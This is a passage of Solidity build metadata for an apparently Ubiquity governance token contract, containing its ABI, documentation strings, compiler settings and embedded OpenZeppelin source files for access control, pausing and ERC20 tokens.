UbiquityAlgorithmicDollarManager\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"mint\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"nonces\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"pause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"paused\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"},{\"internalType\":\"uint256\",\"name\":\"deadline\",\"type\":\"uint256\"},{\"internalType\":\"uint8\",\"name\":\"v\",\"type\":\"uint8\"},{\"internalType\":\"bytes32\",\"name\":\"r\",\"type\":\"bytes32\"},{\"internalType\":\"bytes32\",\"name\":\"s\",\"type\":\"bytes32\"}],\"name\":\"permit\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newName\",\"type\":\"string\"}],\"name\":\"setName\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"newSymbol\",\"type\":\"string\"}],\"name\":\"setSymbol\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"sender\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"recipient\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"unpause\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"See {IERC20-allowance}.\"},\"approve(address,uint256)\":{\"details\":\"See {IERC20-approve}. Requirements: - `spender` cannot be the zero address.\"},\"balanceOf(address)\":{\"details\":\"See {IERC20-balanceOf}.\"},\"burn(uint256)\":{\"params\":{\"amount\":\"the amount to burn\"}},\"burnFrom(address,uint256)\":{\"params\":{\"account\":\"the account to burn from\",\"amount\":\"the amount to burn\"}},\"decimals()\":{\"details\":\"Returns the number of decimals used to get its user representation. For example, if `decimals` equals `2`, a balance of `505` tokens should be displayed to a user as `5,05` (`505 / 10 ** 2`). Tokens usually opt for a value of 18, imitating the relationship between Ether and Wei. This is the value {ERC20} uses, unless this function is overridden; NOTE: This information is only used for _display_ purposes: it in no way affects any of the arithmetic of the contract, including {IERC20-balanceOf} and {IERC20-transfer}.\"},\"decreaseAllowance(address,uint256)\":{\"details\":\"Atomically decreases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address. - `spender` must have allowance for the caller of at least `subtractedValue`.\"},\"increaseAllowance(address,uint256)\":{\"details\":\"Atomically increases the allowance granted to `spender` by the caller. This is an alternative to {approve} that can be used as a mitigation for problems described in {IERC20-approve}. Emits an {Approval} event indicating the updated allowance. Requirements: - `spender` cannot be the zero address.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"paused()\":{\"details\":\"Returns true if the contract is paused, and false otherwise.\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"params\":{\"deadline\":\"the deadline after which the approval is no longer valid\",\"owner\":\"the uAD holder\",\"spender\":\"the approved operator\",\"value\":\"the amount approved\"}},\"setName(string)\":{\"params\":{\"newName\":\"new token name\"}},\"setSymbol(string)\":{\"params\":{\"newSymbol\":\"new token symbol\"}},\"symbol()\":{\"details\":\"Returns the symbol of the token, usually a shorter version of the name.\"},\"totalSupply()\":{\"details\":\"See {IERC20-totalSupply}.\"},\"transfer(address,uint256)\":{\"details\":\"See {IERC20-transfer}. Requirements: - `recipient` cannot be the zero address. - the caller must have a balance of at least `amount`.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{\"burn(uint256)\":{\"notice\":\"burn UAD tokens from caller\"},\"burnFrom(address,uint256)\":{\"notice\":\"burn uAD tokens from specified account\"},\"permit(address,address,uint256,uint256,uint8,bytes32,bytes32)\":{\"notice\":\"permit spending of uAD. owner has signed a message allowing spender to transfer up to amount uAD\"},\"setName(string)\":{\"notice\":\"setName update token name\"},\"setSymbol(string)\":{\"notice\":\"setSymbol update token symbol\"}},\"version\":1}},\"settings\":{\"compilationTarget\":{\"contracts/UbiquityGovernance.sol\":\"UbiquityGovernance\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"none\",\"useLiteralContent\":true},\"optimizer\":{\"enabled\":true,\"runs\":800},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/access/AccessControl.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\nimport \\\"../utils/Strings.sol\\\";\\nimport \\\"../utils/introspection/ERC165.sol\\\";\\n\\n/**\\n * @dev External interface of AccessControl declared to support ERC165 detection.\\n */\\ninterface IAccessControl {\\n function hasRole(bytes32 role, address account) external view returns (bool);\\n function getRoleAdmin(bytes32 role) external view returns (bytes32);\\n function grantRole(bytes32 role, address account) external;\\n function revokeRole(bytes32 role, address account) external;\\n function renounceRole(bytes32 role, address account) external;\\n}\\n\\n/**\\n * @dev Contract module that allows children to implement role-based access\\n * control mechanisms. This is a lightweight version that doesn't allow enumerating role\\n * members except through off-chain means by accessing the contract event logs. Some\\n * applications may benefit from on-chain enumerability, for those cases see\\n * {AccessControlEnumerable}.\\n *\\n * Roles are referred to by their `bytes32` identifier. These should be exposed\\n * in the external API and be unique. The best way to achieve this is by\\n * using `public constant` hash digests:\\n *\\n * ```\\n * bytes32 public constant MY_ROLE = keccak256(\\\"MY_ROLE\\\");\\n * ```\\n *\\n * Roles can be used to represent a set of permissions. To restrict access to a\\n * function call, use {hasRole}:\\n *\\n * ```\\n * function foo() public {\\n * require(hasRole(MY_ROLE, msg.sender));\\n * ...\\n * }\\n * ```\\n *\\n * Roles can be granted and revoked dynamically via the {grantRole} and\\n * {revokeRole} functions. Each role has an associated admin role, and only\\n * accounts that have a role's admin role can call {grantRole} and {revokeRole}.\\n *\\n * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means\\n * that only accounts with this role will be able to grant or revoke other\\n * roles. More complex role relationships can be created by using\\n * {_setRoleAdmin}.\\n *\\n * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to\\n * grant and revoke this role. Extra precautions should be taken to secure\\n * accounts that have been granted it.\\n */\\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\\n struct RoleData {\\n mapping (address => bool) members;\\n bytes32 adminRole;\\n }\\n\\n mapping (bytes32 => RoleData) private _roles;\\n\\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\\n\\n /**\\n * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`\\n *\\n * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite\\n * {RoleAdminChanged} not being emitted signaling this.\\n *\\n * _Available since v3.1._\\n */\\n event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);\\n\\n /**\\n * @dev Emitted when `account` is granted `role`.\\n *\\n * `sender` is the account that originated the contract call, an admin role\\n * bearer except when using {_setupRole}.\\n */\\n event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Emitted when `account` is revoked `role`.\\n *\\n * `sender` is the account that originated the contract call:\\n * - if using `revokeRole`, it is the admin role bearer\\n * - if using `renounceRole`, it is the role bearer (i.e. `account`)\\n */\\n event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);\\n\\n /**\\n * @dev Modifier that checks that an account has a specific role. Reverts\\n * with a standardized message including the required role.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n *\\n * _Available since v4.1._\\n */\\n modifier onlyRole(bytes32 role) {\\n _checkRole(role, _msgSender());\\n _;\\n }\\n\\n /**\\n * @dev See {IERC165-supportsInterface}.\\n */\\n function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {\\n return interfaceId == type(IAccessControl).interfaceId\\n || super.supportsInterface(interfaceId);\\n }\\n\\n /**\\n * @dev Returns `true` if `account` has been granted `role`.\\n */\\n function hasRole(bytes32 role, address account) public view override returns (bool) {\\n return _roles[role].members[account];\\n }\\n\\n /**\\n * @dev Revert with a standard message if `account` is missing `role`.\\n *\\n * The format of the revert reason is given by the following regular expression:\\n *\\n * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/\\n */\\n function _checkRole(bytes32 role, address account) internal view {\\n if(!hasRole(role, account)) {\\n revert(string(abi.encodePacked(\\n \\\"AccessControl: account \\\",\\n Strings.toHexString(uint160(account), 20),\\n \\\" is missing role \\\",\\n Strings.toHexString(uint256(role), 32)\\n )));\\n }\\n }\\n\\n /**\\n * @dev Returns the admin role that controls `role`. See {grantRole} and\\n * {revokeRole}.\\n *\\n * To change a role's admin, use {_setRoleAdmin}.\\n */\\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\\n return _roles[role].adminRole;\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from `account`.\\n *\\n * If `account` had been granted `role`, emits a {RoleRevoked} event.\\n *\\n * Requirements:\\n *\\n * - the caller must have ``role``'s admin role.\\n */\\n function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Revokes `role` from the calling account.\\n *\\n * Roles are often managed via {grantRole} and {revokeRole}: this function's\\n * purpose is to provide a mechanism for accounts to lose their privileges\\n * if they are compromised (such as when a trusted device is misplaced).\\n *\\n * If the calling account had been granted `role`, emits a {RoleRevoked}\\n * event.\\n *\\n * Requirements:\\n *\\n * - the caller must be `account`.\\n */\\n function renounceRole(bytes32 role, address account) public virtual override {\\n require(account == _msgSender(), \\\"AccessControl: can only renounce roles for self\\\");\\n\\n _revokeRole(role, account);\\n }\\n\\n /**\\n * @dev Grants `role` to `account`.\\n *\\n * If `account` had not been already granted `role`, emits a {RoleGranted}\\n * event. Note that unlike {grantRole}, this function doesn't perform any\\n * checks on the calling account.\\n *\\n * [WARNING]\\n * ====\\n * This function should only be called from the constructor when setting\\n * up the initial roles for the system.\\n *\\n * Using this function in any other way is effectively circumventing the admin\\n * system imposed by {AccessControl}.\\n * ====\\n */\\n function _setupRole(bytes32 role, address account) internal virtual {\\n _grantRole(role, account);\\n }\\n\\n /**\\n * @dev Sets `adminRole` as ``role``'s admin role.\\n *\\n * Emits a {RoleAdminChanged} event.\\n */\\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\\n _roles[role].adminRole = adminRole;\\n }\\n\\n function _grantRole(bytes32 role, address account) private {\\n if (!hasRole(role, account)) {\\n _roles[role].members[account] = true;\\n emit RoleGranted(role, account, _msgSender());\\n }\\n }\\n\\n function _revokeRole(bytes32 role, address account) private {\\n if (hasRole(role, account)) {\\n _roles[role].members[account] = false;\\n emit RoleRevoked(role, account, _msgSender());\\n }\\n }\\n}\\n\",\"keccak256\":\"0x98fac37221212c8f126f198d262a4df86394bd1a9969f61e40739fe8ac013dd8\",\"license\":\"MIT\"},\"@openzeppelin/contracts/security/Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../utils/Context.sol\\\";\\n\\n/**\\n * @dev Contract module which allows children to implement an emergency stop\\n * mechanism that can be triggered by an authorized account.\\n *\\n * This module is used through inheritance. It will make available the\\n * modifiers `whenNotPaused` and `whenPaused`, which can be applied to\\n * the functions of your contract. Note that they will not be pausable by\\n * simply including this module, only once the modifiers are put in place.\\n */\\nabstract contract Pausable is Context {\\n /**\\n * @dev Emitted when the pause is triggered by `account`.\\n */\\n event Paused(address account);\\n\\n /**\\n * @dev Emitted when the pause is lifted by `account`.\\n */\\n event Unpaused(address account);\\n\\n bool private _paused;\\n\\n /**\\n * @dev Initializes the contract in unpaused state.\\n */\\n constructor () {\\n _paused = false;\\n }\\n\\n /**\\n * @dev Returns true if the contract is paused, and false otherwise.\\n */\\n function paused() public view virtual returns (bool) {\\n return _paused;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is not paused.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n modifier whenNotPaused() {\\n require(!paused(), \\\"Pausable: paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Modifier to make a function callable only when the contract is paused.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n modifier whenPaused() {\\n require(paused(), \\\"Pausable: not paused\\\");\\n _;\\n }\\n\\n /**\\n * @dev Triggers stopped state.\\n *\\n * Requirements:\\n *\\n * - The contract must not be paused.\\n */\\n function _pause() internal virtual whenNotPaused {\\n _paused = true;\\n emit Paused(_msgSender());\\n }\\n\\n /**\\n * @dev Returns to normal state.\\n *\\n * Requirements:\\n *\\n * - The contract must be paused.\\n */\\n function _unpause() internal virtual whenPaused {\\n _paused = false;\\n emit Unpaused(_msgSender());\\n }\\n}\\n\",\"keccak256\":\"0xab1f67e4c96dfe0e3875d22883c3dee5411914f40ce0c54ef407f030d803512e\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Extension of {ERC20} that allows token holders to destroy both their own\\n * tokens and those that they have an allowance for, in a way that can be\\n * recognized off-chain (via event analysis).\\n */\\nabstract contract ERC20Burnable is Context, ERC20 {\\n /**\\n * @dev Destroys `amount` tokens from the caller.\\n *\\n * See {ERC20-_burn}.\\n */\\n function burn(uint256 amount) public virtual {\\n _burn(_msgSender(), amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, deducting from the caller's\\n * allowance.\\n *\\n * See {ERC20-_burn} and {ERC20-allowance}.\\n *\\n * Requirements:\\n *\\n * - the caller must have allowance for ``accounts``'s tokens of at least\\n * `amount`.\\n */\\n function burnFrom(address account, uint256 amount) public virtual {\\n uint256 currentAllowance = allowance(account, _msgSender());\\n require(currentAllowance >= amount, \\\"ERC20: burn amount exceeds allowance\\\");\\n _approve(account, _msgSender(), currentAllowance - amount);\\n _burn(account, amount);\\n }\\n}\\n\",\"keccak256\":\"0xb8cc16fa5514ccbff1123c566ec0a21682f1ded0ca7e5df719c6bd0b7429390a\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/ERC20Pausable.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../ERC20.sol\\\";\\nimport \\\"../../../security/Pausable.sol\\\";\\n\\n/**\\n * @dev ERC20 token with pausable token transfers, minting and burning.\\n *\\n * Useful for scenarios such as preventing trades until the end of an evaluation\\n * period, or having an emergency switch for freezing all token transfers in the\\n * event of a large bug.\\n */\\nabstract contract ERC20Pausable is ERC20, Pausable {\\n /**\\n * @dev See {ERC20-_beforeTokenTransfer}.\\n *\\n * Requirements:\\n *\\n * - the contract must not be paused.\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {\\n super._beforeTokenTransfer(from, to, amount);\\n\\n require(!paused(), \\\"ERC20Pausable: token transfer while paused\\\");\\n }\\n}\\n\",\"keccak256\":\"0x86b0abb859d38e6909101e8dce6fad76543cd1443788b049fd182379b42cb6e3\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since 